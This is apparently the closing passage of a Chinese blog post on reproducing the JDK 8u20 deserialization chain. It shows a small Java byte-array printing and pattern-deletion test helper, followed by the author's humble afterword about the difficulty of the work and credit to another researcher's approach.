private static void printByte(byte[] b) {
System.out.print("[");
for (int i = 0; i < b.length; i++) {
System.out.print(b[i] + ",");
}
System.out.print("]");
}
public static void main(String[] args) {
byte[] source = new byte[]{1, 2, 3, 4, 5};
byte[] pattern = new byte[]{2, 3};
printByte(deleteByPattern(source, pattern));
}
}
后记
对我而言复现8u20是一件非常困难的事情,正如标题所说,我做的工作仅仅只是“觑觎”。刚开始我试图用一些非常原始的方法手搓二进制,因为已经有前人成功做了这项工作并且完成得很好。但是我实在是无法短时间内做到。最后按照1nhann师傅的思路,连猜带蒙地复现了这条链子。不禁感叹我和这些优秀前辈的差距。正如我在博客首页上写给我自己的定义:
Fortunate enough to get a glimpse of the feast of techiques.